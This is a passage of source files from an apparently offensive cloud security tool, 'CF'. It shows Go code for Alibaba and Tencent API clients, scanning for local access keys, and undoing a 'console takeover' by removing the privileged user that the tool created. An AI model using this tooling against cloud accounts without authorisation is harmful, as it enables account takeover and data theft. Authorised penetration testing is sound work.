privileges of the %s user)", userName, userName) 22 | } 23 | } 24 | 25 | func DeleteUser(userName string) { 26 | request := ram.CreateDeleteUserRequest() 27 | request.Scheme = "https" 28 | request.UserName = userName 29 | _, err := aliram.RAMClient().DeleteUser(request) 30 | errutil.HandleErrNoExit(err) 31 | if err == nil { 32 | log.Debugf("删除 %s 用户成功 (Delete %s user successfully)", userName, userName) 33 | } 34 | } 35 | 36 | func CancelTakeoverConsole() { 37 | TakeoverConsoleCache := database.SelectTakeoverConsoleCache("alibaba") 38 | if len(TakeoverConsoleCache) == 0 { 39 | log.Infoln("未接管过控制台,无需取消 (No takeover of the console, no need to cancel)") 40 | } else { 41 | userName := strings.Split(TakeoverConsoleCache[0].UserName, "@")[0] 42 | DetachPolicyFromUser(userName) 43 | DeleteUser(userName) 44 | database.DeleteTakeoverConsoleCache("alibaba") 45 | log.Infof("成功删除 %s 用户,已取消控制台接管 (Successful deletion of %s user, console takeover cancelled)", userName, userName) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ## 为 CF 贡献代码 2 | 3 | 首先很高兴你看到这个,非常欢迎您和我一起完善 CF,让我们一起编写一个好用的、有价值的、有意义的工具。 4 | 5 | ### 是否发现了 bug? 6 | 7 | 如果你发现了程序中的 bug,建议可以先在 [issue](https://github.com/teamssix/cf/issues) 中进行搜索,看看以前有没有人提交过相同的 bug。 8 | 9 | ### 发现了 bug,并准备自己为 CF 打补丁 10 | 11 | 如果你发现了 bug,而且准备自己去修补它的话,则可以先把 CF Fork 到自己的仓库中,然后修复完后,提交 PR 到 CF 的 beta 分支下,另外记得在 PR 中详细说明 bug 的产生条件以及你是如何修复的,这可以帮助你更快的使这个 PR 通过。 12 | 13 | ### 为 CF 增加新功能 14 | 15 | 如果你发现 CF 现在的功能不能满足自己的需求,并打算自己去增加上这个功能,则可以先把 CF Fork 到自己的仓库中,然后编写完相应的功能后,提交 PR 到 CF 的 beta 分支下,另外记得在 PR 中详细说明增加的功能以及为什么要增加它,这可以帮助你更快的使这个 PR 通过。 16 | 17 | 建议师傅在增加新功能后,可以去完善对应的操作手册,操作手册项目地址:[github.com/teamssix/TWiki](https://github.com/teamssix/TWiki),先 fork 操作手册项目,然后在 [github.com/teamssix/TWiki/tree/main/docs/CF](https://github.com/teamssix/TWiki/tree/main/docs/CF) 目录下编辑 CF 操作手册的文档,最后提 pr 到 T Wiki 项目的 beta 分支下就行。 18 | 19 | ## 使你的 PR 更规范 20 | 21 | ### 规范 Git commit 22 | 23 | commit message 应尽可能的规范,为了保证和其他 commit 统一,建议 commit message 采用英文描述,并符合下面的格式: 24 | 25 | ```yaml 26 | type: subject 27 | ``` 28 | 29 | type 是 commit 的类别,subject 是对这个 commit 的英文描述,例如下面的示例: 30 | 31 | * feat: add object download function 32 | 33 | * perf: optimize the display of update progress bar 34 | 35 | 关于 Git commit 的更多规范要求可以参见这篇文章:[如何规范你的Git commit?](https://zhuanlan.zhihu.com/p/182553920) 36 | 37 | ### 规范代码内容 38 | 39 | 为了面向不同的使用人群,CF 里的输出信息使用了双语,因此如果你打算为 CF 增加新功能,那么在编写输出信息时应尽可能符合下面的格式: 40 | 41 | ```yaml 42 | 中文 (English) 43 | ``` 44 | 45 | 注意上面的括号是英文括号,并且英文开头应该首字母大写,例如下面的示例: 46 | 47 | * 关于作者 (About me) 48 | * 配置云服务商的访问密钥 (Configure cloud provider access key) 49 | 50 | ### 规范代码格式 51 | 52 | 代码在编写完后,应使用 `go fmt` 和 `goimports`对代码进行格式化,从而使代码看起来更加整洁。 53 | 54 | 在 goland 中可以设置当代码保存时自动格式化代码,配置的步骤可以参见这篇文章:[GoLand:设置gofmt与goimports,保存时自动格式化代码](https://blog.csdn.net/qq_32907195/article/details/116755338) -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentconsole/cancelTakeoverConsole.go: -------------------------------------------------------------------------------- 1 | package tencentconsole 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/cloud/tencent/tencentcam" 6 | "github.com/teamssix/cf/pkg/util/database" 7 | "github.com/teamssix/cf/pkg/util/errutil" 8 | cam "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cam/v20190116" 9 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 10 | ) 11 | 12 | func DetachPolicyFromUser(userName string) { 13 | UserUin := GetUserUin(userName) 14 | request := cam.NewDetachUserPolicyRequest() 15 | request.PolicyId = common.Uint64Ptr(1) 16 | request.DetachUin = common.Uint64Ptr(UserUin) 17 | _, err := tencentcam.CAMClient().DetachUserPolicy(request) 18 | errutil.HandleErr(err) 19 | if err == nil { 20 | log.Debugf("成功移除 %s 用户的权限 (Successfully removed the privileges of the %s user)", userName, userName) 21 | } 22 | } 23 | 24 | func DeleteUser(userName string) { 25 | request := cam.NewDeleteUserRequest() 26 | request.Name = common.StringPtr(userName) 27 | request.Force = common.Uint64Ptr(1) 28 | _, err := tencentcam.CAMClient().DeleteUser(request) 29 | errutil.HandleErr(err) 30 | if err == nil { 31 | log.Debugf("删除 %s 用户成功 (Delete %s user successfully)", userName, userName) 32 | } 33 | } 34 | 35 | func CancelTakeoverConsole() { 36 | TakeoverConsoleCache := database.SelectTakeoverConsoleCache("tencent") 37 | if len(TakeoverConsoleCache) == 0 { 38 | log.Infoln("未接管过控制台,无需取消 (No takeover of the console, no need to cancel)") 39 | } else { 40 | userName := TakeoverConsoleCache[0].UserName 41 | DetachPolicyFromUser(userName) 42 | DeleteUser(userName) 43 | database.DeleteTakeoverConsoleCache("tencent") 44 | log.Infof("成功删除 %s 用户,已取消控制台接管 (Successful deletion of %s user, console takeover cancelled)", userName, userName) 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /cmd/config.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/util/cmdutil" 6 | ) 7 | 8 | var selectAll bool 9 | 10 | func init() { 11 | RootCmd.AddCommand(configCmd) 12 | configCmd.AddCommand(ConfigDel) 13 | configCmd.AddCommand(ConfigLs) 14 | configCmd.AddCommand(ConfigMf) 15 | configCmd.AddCommand(ConfigSw) 16 | configCmd.AddCommand(ConfigScan) 17 | 18 | ConfigLs.PersistentFlags().BoolVarP(&selectAll, "all", "a", false, "查询全部数据 (Search all data)") 19 | ConfigScan.PersistentFlags().BoolVarP(&selectAll, "all", "a", false, "查询全部数据 (Search all data)") 20 | } 21 | 22 | var configCmd = &cobra.Command{ 23 | Use: "config", 24 | Short: "配置云服务商的访问密钥 (Configure cloud provider access key)", 25 | Long: `配置云服务商的访问密钥 (Configure cloud provider access key)`, 26 | Run: func(cmd *cobra.Command, args []string) { 27 | cmdutil.ConfigureAccessKey() 28 | }, 29 | } 30 | 31 | var ConfigDel = &cobra.Command{ 32 | Use: "del", 33 | Short: "删除访问密钥 (Delete access key)", 34 | Long: `删除访问密钥 (Delete access key)`, 35 | Run: func(cmd *cobra.Command, args []string) { 36 | cmdutil.ConfigDel() 37 | }, 38 | } 39 | 40 | var ConfigLs = &cobra.Command{ 41 | Use: "ls", 42 | Short: "列出已配置过的访问密钥 (List configured access key)", 43 | Long: `列出已配置过的访问密钥 (List configured access key)`, 44 | Run: func(cmd *cobra.Command, args []string) { 45 | cmdutil.ConfigLs(selectAll) 46 | }, 47 | } 48 | 49 | var ConfigMf = &cobra.Command{ 50 | Use: "mf", 51 | Short: "修改已配置过的访问密钥 (Modify configured access key)", 52 | Long: `修改已配置过的访问密钥 (Modify configured access key)`, 53 | Run: func(cmd *cobra.Command, args []string) { 54 | cmdutil.ConfigMf() 55 | }, 56 | } 57 | 58 | var ConfigSw = &cobra.Command{ 59 | Use: "sw", 60 | Short: "切换访问密钥 (Switch access key)", 61 | Long: `切换访问密钥 (Switch access key)`, 62 | Run: func(cmd *cobra.Command, args []string) { 63 | cmdutil.ConfigSw() 64 | }, 65 | } 66 | 67 | var ConfigScan = &cobra.Command{ 68 | Use: "scan", 69 | Short: "扫描本地访问密钥 (Scan for local access keys)", 70 | Long: `扫描本地访问密钥 (Scan for local access keys)`, 71 | Run: func(cmd *cobra.Command, args []string) { 72 | cmdutil.ScanAccessKey(selectAll) 73 | }, 74 | } 75 | -------------------------------------------------------------------------------- /cmd/alibaba/regions.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/spf13/cobra" 7 | "github.com/teamssix/cf/pkg/cloud" 8 | "github.com/teamssix/cf/pkg/cloud/alibaba/aliecs" 9 | "github.com/teamssix/cf/pkg/cloud/alibaba/alirds" 10 | ) 11 | 12 | var ecsRegionsAllRegions bool 13 | 14 | func init() { 15 | alibabaCmd.AddCommand(regionsCmd) 16 | regionsCmd.AddCommand(ecsRegionsCmd) 17 | regionsCmd.AddCommand(rdsRegionsCmd) 18 | ecsRegionsCmd.Flags().BoolVarP(&ecsRegionsAllRegions, "allRegions", "a", false, "列出所有区域,包括私有区域 (List all regions, including private regions)") 19 | } 20 | 21 | var regionsCmd = &cobra.Command{ 22 | Use: "regions", 23 | Short: "列出可用区域 (List available regions)", 24 | Long: "列出可用区域 (List available regions)", 25 | } 26 | 27 | var ecsRegionsCmd = &cobra.Command{ 28 | Use: "ecs", 29 | Short: "列出阿里云 ECS 的区域 (List the regions of alibaba cloud ECS)", 30 | Long: "列出阿里云 ECS 的区域 (List the regions of alibaba cloud ECS)", 31 | Run: func(cmd *cobra.Command, args []string) { 32 | regions := aliecs.GetECSRegions(ecsRegionsAllRegions) 33 | var data = make([][]string, len(regions)) 34 | for i, v := range regions { 35 | SN := strconv.Itoa(i + 1) 36 | data[i] = []string{SN, v.RegionId, v.LocalName, v.RegionEndpoint} 37 | } 38 | var header = []string{"序号 (SN)", "区域 ID (Region Id)", "地理位置 (Local Name)", "区域终端节点 (Region Endpoint)"} 39 | var td = cloud.TableData{Header: header, Body: data} 40 | cloud.PrintTable(td, "") 41 | }, 42 | } 43 | 44 | var rdsRegionsCmd = &cobra.Command{ 45 | Use: "rds", 46 | Short: "列出阿里云 RDS 的区域 (List the regions of alibaba cloud RDS)", 47 | Long: "列出阿里云 RDS 的区域 (List the regions of alibaba cloud RDS)", 48 | Run: func(cmd *cobra.Command, args []string) { 49 | regions := alirds.GetRDSRegions() 50 | var data = make([][]string, len(regions)) 51 | for i, v := range regions { 52 | SN := strconv.Itoa(i + 1) 53 | data[i] = []string{SN, v.RegionId, v.ZoneId, v.ZoneName, v.LocalName, v.RegionEndpoint} 54 | } 55 | var header = []string{"序号 (SN)", "区域 ID (Region Id)", "可用区 ID (Zone ID)", "可用区名称 (Zone Name)", "地理位置 (Local Name)", "区域终端节点 (Region Endpoint)"} 56 | var td = cloud.TableData{Header: header, Body: data} 57 | cloud.PrintTable(td, "") 58 | }, 59 | } 60 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentcwp/client.go: -------------------------------------------------------------------------------- 1 | package tencentcwp 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/util/cmdutil" 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 8 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile" 9 | cwp "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cwp/v20180228" 10 | "os" 11 | ) 12 | 13 | func CWPClient(region string) *cwp.Client { 14 | tencentConfig := cmdutil.GetConfig("tencent") 15 | if tencentConfig.AccessKeyId == "" { 16 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 17 | os.Exit(0) 18 | return nil 19 | } else { 20 | cpf := profile.NewClientProfile() 21 | cpf.HttpProfile.Endpoint = "cwp.tencentcloudapi.com" 22 | if tencentConfig.STSToken == "" { 23 | credential := common.NewCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret) 24 | client, err := cwp.NewClient(credential, region, cpf) 25 | errutil.HandleErr(err) 26 | if err == nil { 27 | log.Traceln("CWP Client 连接成功 (CWP Client connection successful)") 28 | } 29 | return client 30 | } else { 31 | credential := common.NewTokenCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret, tencentConfig.STSToken) 32 | client, err := cwp.NewClient(credential, region, cpf) 33 | errutil.HandleErr(err) 34 | if err == nil { 35 | log.Traceln("CWP Client 连接成功 (CWP Client connection successful)") 36 | } 37 | return client 38 | } 39 | } 40 | } 41 | 42 | func DescribeMachineCWPStatus(MachineType string, Quuid string) (*string, *string) { 43 | client := CWPClient("") 44 | request := cwp.NewDescribeMachinesRequest() 45 | request.MachineType = common.StringPtr(MachineType) 46 | request.Filters = []*cwp.Filter{ 47 | { 48 | Name: common.StringPtr("Quuid"), 49 | Values: common.StringPtrs([]string{Quuid}), 50 | }, 51 | } 52 | request.MachineRegion = common.StringPtr("all-regions") 53 | response, err := client.DescribeMachines(request) 54 | if err == nil { 55 | return response.Response.Machines[0].MachineStatus, response.Response.Machines[0].Uuid 56 | } else { 57 | errutil.HandleErrNoExit(err) 58 | Str := "" 59 | return &Str, &Str 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug.yml: -------------------------------------------------------------------------------- 1 | name: Bug 反馈 (Bug Feedback) 2 | description: 提交一个 issue 帮助改进这个项目 (Submit an issue to help improve this project) 3 | title: "[Bug] <在这里输入你的标题 (Enter your title here)>" 4 | labels: ["bug"] 5 | assignees: 6 | - teamssix 7 | body: 8 | - type: markdown 9 | attributes: 10 | value: | 11 | 感谢您花时间提交这份 issue (Thanks for taking the time to fill out this bug report! ) 12 | - type: textarea 13 | id: what-happened 14 | attributes: 15 | label: 描述你遇到的问题 (What happened?) 16 | value: "详细描述你所遇到的问题 (Describe in detail the problem you are experiencing.)" 17 | validations: 18 | required: true 19 | - type: textarea 20 | attributes: 21 | label: 复现步骤 (Steps To Reproduce) 22 | description: 复现这个问题的步骤 (Steps to reproduce the behavior.) 23 | placeholder: | 24 | 1. 在 xxx 情况下 (in the xxx case) 25 | 2. 执行了 xxx 命令 (executed the xxx command) 26 | 3. 出现了 xxx 错误 (an xxx error occurred) 27 | validations: 28 | required: true 29 | - type: dropdown 30 | id: system 31 | attributes: 32 | label: 操作系统 (Operating System) 33 | description: 你在哪个操作系统下运行的 CF ?(Which operating system you are running the CF in?) 34 | options: 35 | - MacOS 36 | - Linux 37 | - Windows 38 | validations: 39 | required: true 40 | - type: dropdown 41 | id: system-type 42 | attributes: 43 | label: 系统类型 (System Type) 44 | description: 你在哪个系统类型下运行的 CF ?(What type of system are you running CF on?) 45 | options: 46 | - amd64 47 | - amd32 48 | - arm64 49 | - arm32 50 | validations: 51 | required: true 52 | - type: dropdown 53 | id: cf-version 54 | attributes: 55 | label: CF 版本 ( CF Version) 56 | description: 你运行的是 CF 的哪个版本?(What version of our software are you running?) 57 | options: 58 | - 最新的 (Latest) 59 | - 0.4.x 60 | - 0.3.x 61 | - 0.2.x 62 | - 0.1.x 63 | - 0.0.x 64 | validations: 65 | required: true 66 | - type: textarea 67 | attributes: 68 | label: 补充信息 (Anything else?) 69 | description: | 70 | 链接?参考资料?任何可以给我们提供更多关于你所遇到的问题的背景资料的东西 71 | Links? References? Anything that will give us more context about the issue you are encountering! 72 | 73 | 提示:你可以通过点击这个区域来突出显示它,然后将文件拖入,从而附上图片或其他文件。 74 | Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in. 75 | validations: 76 | required: false 77 | -------------------------------------------------------------------------------- /pkg/util/database/cacheRDS.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/pubutil" 5 | ) 6 | 7 | func InsertRDSCache(RDSCache []pubutil.RDSCache) { 8 | DeleteRDSCache(RDSCache[0].AccessKeyId) 9 | CacheDb.Create(&RDSCache) 10 | } 11 | 12 | func DeleteRDSCache(AccessKeyId string) { 13 | var RDSCache []pubutil.RDSCache 14 | CacheDb.Where("access_key_id = ?", AccessKeyId).Delete(&RDSCache) 15 | } 16 | 17 | func SelectRDSCache(provider string) []pubutil.RDSCache { 18 | var RDSCache []pubutil.RDSCache 19 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 20 | CacheDb.Where("access_key_id = ?", AccessKeyId).Find(&RDSCache) 21 | return RDSCache 22 | } 23 | 24 | func SelectRDSCacheFilter(provider string, region string, specifiedInstanceID string, engine string) []pubutil.RDSCache { 25 | var RDSCache []pubutil.RDSCache 26 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 27 | switch { 28 | case region == "all" && specifiedInstanceID == "all" && engine == "all": 29 | CacheDb.Where("access_key_id = ? COLLATE NOCASE", AccessKeyId).Find(&RDSCache) 30 | case region == "all" && specifiedInstanceID == "all" && engine != "all": 31 | CacheDb.Where("access_key_id = ? AND engine = ? COLLATE NOCASE", AccessKeyId, engine).Find(&RDSCache) 32 | case region == "all" && specifiedInstanceID != "all" && engine == "all": 33 | CacheDb.Where("access_key_id = ? AND db_instance_id = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID).Find(&RDSCache) 34 | case region == "all" && specifiedInstanceID != "all" && engine != "all": 35 | CacheDb.Where("access_key_id = ? AND db_instance_id = ? COLLATE NOCASE AND engine = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID, engine).Find(&RDSCache) 36 | case region != "all" && specifiedInstanceID == "all" && engine == "all": 37 | CacheDb.Where("access_key_id = ? AND region_id = ? COLLATE NOCASE", AccessKeyId, region).Find(&RDSCache) 38 | case region != "all" && specifiedInstanceID == "all" && engine != "all": 39 | CacheDb.Where("access_key_id = ? AND engine = ? COLLATE NOCASE AND region_id = ? COLLATE NOCASE", AccessKeyId, engine, region).Find(&RDSCache) 40 | case region != "all" && specifiedInstanceID != "all" && engine == "all": 41 | CacheDb.Where("access_key_id = ? AND db_instance_id = ? COLLATE NOCASE AND region_id = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID, region).Find(&RDSCache) 42 | case region != "all" && specifiedInstanceID != "all" && engine != "all": 43 | CacheDb.Where("access_key_id = ? AND db_instance_id = ? COLLATE NOCASE AND engine = ? COLLATE NOCASE AND region_id = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID, engine, region).Find(&RDSCache) 44 | } 45 | return RDSCache 46 | } 47 | -------------------------------------------------------------------------------- /pkg/util/database/cacheECS.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/pubutil" 5 | ) 6 | 7 | func InsertECSCache(ECSCache []pubutil.ECSCache) { 8 | DeleteECSCache(ECSCache[0].AccessKeyId) 9 | CacheDb.Create(&ECSCache) 10 | } 11 | 12 | func DeleteECSCache(AccessKeyId string) { 13 | var ECSCache []pubutil.ECSCache 14 | CacheDb.Where("access_key_id = ?", AccessKeyId).Delete(&ECSCache) 15 | } 16 | 17 | func SelectECSCache(provider string) []pubutil.ECSCache { 18 | var ECSCache []pubutil.ECSCache 19 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 20 | CacheDb.Where("access_key_id = ?", AccessKeyId).Find(&ECSCache) 21 | return ECSCache 22 | } 23 | 24 | func SelectEcsCacheFilter(provider string, region string, specifiedInstanceID string, running bool) []pubutil.ECSCache { 25 | var ECSCache []pubutil.ECSCache 26 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 27 | switch { 28 | case region == "all" && specifiedInstanceID == "all" && running == false: 29 | CacheDb.Where("access_key_id = ? COLLATE NOCASE", AccessKeyId).Find(&ECSCache) 30 | case region == "all" && specifiedInstanceID == "all" && running == true: 31 | CacheDb.Where("access_key_id = ? AND status = ? COLLATE NOCASE", AccessKeyId, "Running").Find(&ECSCache) 32 | case region == "all" && specifiedInstanceID != "all" && running == false: 33 | CacheDb.Where("access_key_id = ? AND instance_id = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID).Find(&ECSCache) 34 | case region == "all" && specifiedInstanceID != "all" && running == true: 35 | CacheDb.Where("access_key_id = ? AND instance_id = ? COLLATE NOCASE AND status = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID, "Running").Find(&ECSCache) 36 | case region != "all" && specifiedInstanceID == "all" && running == false: 37 | CacheDb.Where("access_key_id = ? AND region_id = ? COLLATE NOCASE", AccessKeyId, region).Find(&ECSCache) 38 | case region != "all" && specifiedInstanceID == "all" && running == true: 39 | CacheDb.Where("access_key_id = ? AND status = ? COLLATE NOCASE AND region_id = ? COLLATE NOCASE", AccessKeyId, "Running", region).Find(&ECSCache) 40 | case region != "all" && specifiedInstanceID != "all" && running == false: 41 | CacheDb.Where("access_key_id = ? AND instance_id = ? COLLATE NOCASE AND region_id = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID, region).Find(&ECSCache) 42 | case region != "all" && specifiedInstanceID != "all" && running == true: 43 | CacheDb.Where("access_key_id = ? AND instance_id = ? COLLATE NOCASE AND status = ? COLLATE NOCASE AND region_id = ? COLLATE NOCASE", AccessKeyId, specifiedInstanceID, "Running", region).Find(&ECSCache) 44 | } 45 | return ECSCache 46 | } 47 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentcam/client.go: -------------------------------------------------------------------------------- 1 | package tencentcam 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/util/cmdutil" 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | cam "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cam/v20190116" 8 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 9 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile" 10 | sts "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/sts/v20180813" 11 | "os" 12 | ) 13 | 14 | func CAMClient() *cam.Client { 15 | tencentConfig := cmdutil.GetConfig("tencent") 16 | if tencentConfig.AccessKeyId == "" { 17 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 18 | os.Exit(0) 19 | return nil 20 | } else { 21 | cpf := profile.NewClientProfile() 22 | cpf.HttpProfile.Endpoint = "cam.tencentcloudapi.com" 23 | if tencentConfig.STSToken == "" { 24 | credential := common.NewCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret) 25 | client, err := cam.NewClient(credential, "", cpf) 26 | errutil.HandleErr(err) 27 | if err == nil { 28 | log.Traceln("CAM Client 连接成功 (CAM Client connection successful)") 29 | } 30 | return client 31 | } else { 32 | credential := common.NewTokenCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret, tencentConfig.STSToken) 33 | client, err := cam.NewClient(credential, "", cpf) 34 | errutil.HandleErr(err) 35 | if err == nil { 36 | log.Traceln("CAM Client 连接成功 (CAM Client connection successful)") 37 | } 38 | return client 39 | } 40 | } 41 | } 42 | 43 | func STSClient() *sts.Client { 44 | tencentConfig := cmdutil.GetConfig("tencent") 45 | if tencentConfig.AccessKeyId == "" { 46 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 47 | os.Exit(0) 48 | return nil 49 | } else { 50 | cpf := profile.NewClientProfile() 51 | cpf.HttpProfile.Endpoint = "sts.tencentcloudapi.com" 52 | if tencentConfig.STSToken == "" { 53 | credential := common.NewCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret) 54 | client, err := sts.NewClient(credential, "ap-beijing", cpf) 55 | errutil.HandleErr(err) 56 | if err == nil { 57 | log.Traceln("STS Client 连接成功 (STS Client connection successful)") 58 | } 59 | return client 60 | } else { 61 | credential := common.NewTokenCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret, tencentConfig.STSToken) 62 | client, err := sts.NewClient(credential, "ap-beijing", cpf) 63 | errutil.HandleErr(err) 64 | if err == nil { 65 | log.Traceln("STS Client 连接成功 (STS Client connection successful)") 66 | } 67 | return client 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /pkg/util/version.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "encoding/json" 5 | log "github.com/sirupsen/logrus" 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | "github.com/teamssix/cf/pkg/util/global" 8 | "io/ioutil" 9 | "net/http" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | func GetCurrentVersion() string { 15 | return global.Version 16 | } 17 | 18 | func GetUpdateTime() string { 19 | return global.UpdateTime 20 | } 21 | 22 | type latestReleasesStruct struct { 23 | NewVersion string `json:"tag_name"` 24 | } 25 | 26 | func AlertUpdateInfo() { 27 | oldTimestamp := ReadTimestamp(ReturnVersionTimestampFile()) 28 | if oldTimestamp == 0 { 29 | CheckVersion(global.Version) 30 | } else if IsFlushCache(oldTimestamp) { 31 | check, newVersion, err := CheckVersion(global.Version) 32 | if check { 33 | log.Warnf("发现 %s 新版本,可以使用 upgrade 命令进行更新 (Found a new version of %s, use the upgrade command to update)", newVersion, newVersion) 34 | } else if err == nil { 35 | log.Debugln("未发现新版本 (No new versions found)") 36 | } 37 | } else { 38 | TimeDifference(oldTimestamp) 39 | } 40 | } 41 | 42 | func CheckVersion(version string) (bool, string, error) { 43 | WriteTimestamp(ReturnVersionTimestampFile()) 44 | url := "https://api.github.com/repos/teamssix/cf/releases/latest" 45 | spaceClient := http.Client{} 46 | req, err := http.NewRequest(http.MethodGet, url, nil) 47 | if err != nil { 48 | return reqErr(err) 49 | } else { 50 | res, err := spaceClient.Do(req) 51 | if err != nil { 52 | return reqErr(err) 53 | } else { 54 | body, err := ioutil.ReadAll(res.Body) 55 | if err != nil { 56 | return reqErr(err) 57 | } else { 58 | latestReleases := latestReleasesStruct{} 59 | err := json.Unmarshal(body, &latestReleases) 60 | if err != nil { 61 | return reqErr(err) 62 | } else { 63 | newVersion := latestReleases.NewVersion 64 | versionNumber := caclVersionNumber(version) 65 | newVersionNumber := caclVersionNumber(newVersion) 66 | if versionNumber >= newVersionNumber { 67 | return false, newVersion, err 68 | } else { 69 | return true, newVersion, err 70 | } 71 | } 72 | } 73 | 74 | } 75 | } 76 | } 77 | 78 | func caclVersionNumber(version string) int { 79 | version = version[1:] 80 | versionSplit := strings.Split(version, ".") 81 | versionNumber := Atoi(versionSplit[0])*10000 + Atoi(versionSplit[1])*100 + Atoi(versionSplit[2]) 82 | return versionNumber 83 | } 84 | 85 | func Atoi(s string) int { 86 | i, err := strconv.Atoi(s) 87 | errutil.HandleErr(err) 88 | return i 89 | } 90 | 91 | func reqErr(err error) (bool, string, error) { 92 | log.Errorln("获取最新版本失败 (Failed to get the latest version) : ", err) 93 | return false, "", err 94 | } 95 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/aliram/client.go: -------------------------------------------------------------------------------- 1 | package aliram 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | 8 | "github.com/aliyun/alibaba-cloud-sdk-go/services/sts" 9 | 10 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk" 11 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk/auth/credentials" 12 | "github.com/aliyun/alibaba-cloud-sdk-go/services/ram" 13 | log "github.com/sirupsen/logrus" 14 | "github.com/teamssix/cf/pkg/util/cmdutil" 15 | ) 16 | 17 | func RAMClient() *ram.Client { 18 | // 判断是否已经配置了访问密钥 19 | aliconfig := cmdutil.GetConfig("alibaba") 20 | if aliconfig.AccessKeyId == "" { 21 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 22 | os.Exit(0) 23 | return nil 24 | } else { 25 | // 判断是否已经配置了 STS Token 26 | config := sdk.NewConfig() 27 | if aliconfig.STSToken == "" { 28 | credential := credentials.NewAccessKeyCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret) 29 | client, err := ram.NewClientWithOptions("cn-beijing", config, credential) 30 | if err == nil { 31 | log.Traceln("RAM Client 连接成功 (RAM Client connection successful)") 32 | } else { 33 | errutil.HandleErr(err) 34 | } 35 | return client 36 | } else { 37 | // 使用 STS Token 连接 38 | credential := credentials.NewStsTokenCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret, aliconfig.STSToken) 39 | client, err := ram.NewClientWithOptions("cn-beijing", config, credential) 40 | if err == nil { 41 | log.Traceln("RAM Client 连接成功 (RAM Client connection successful)") 42 | } else { 43 | errutil.HandleErr(err) 44 | } 45 | return client 46 | } 47 | } 48 | } 49 | 50 | func STSClient() *sts.Client { 51 | // 判断是否已经配置了访问密钥 52 | aliconfig := cmdutil.GetConfig("alibaba") 53 | if aliconfig.AccessKeyId == "" { 54 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 55 | os.Exit(0) 56 | return nil 57 | } else { 58 | // 判断是否已经配置了 STS Token 59 | config := sdk.NewConfig() 60 | if aliconfig.STSToken == "" { 61 | credential := credentials.NewAccessKeyCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret) 62 | client, err := sts.NewClientWithOptions("cn-beijing", config, credential) 63 | errutil.HandleErr(err) 64 | if err == nil { 65 | log.Traceln("RAM Client 连接成功 (RAM Client connection successful)") 66 | } 67 | return client 68 | } else { 69 | // 使用 STS Token 连接 70 | credential := credentials.NewStsTokenCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret, aliconfig.STSToken) 71 | client, err := sts.NewClientWithOptions("cn-beijing", config, credential) 72 | errutil.HandleErr(err) 73 | if err == nil { 74 | log.Traceln("RAM Client 连接成功 (RAM Client connection successful)") 75 | } 76 | return client 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiobs/obslsobject.go: -------------------------------------------------------------------------------- 1 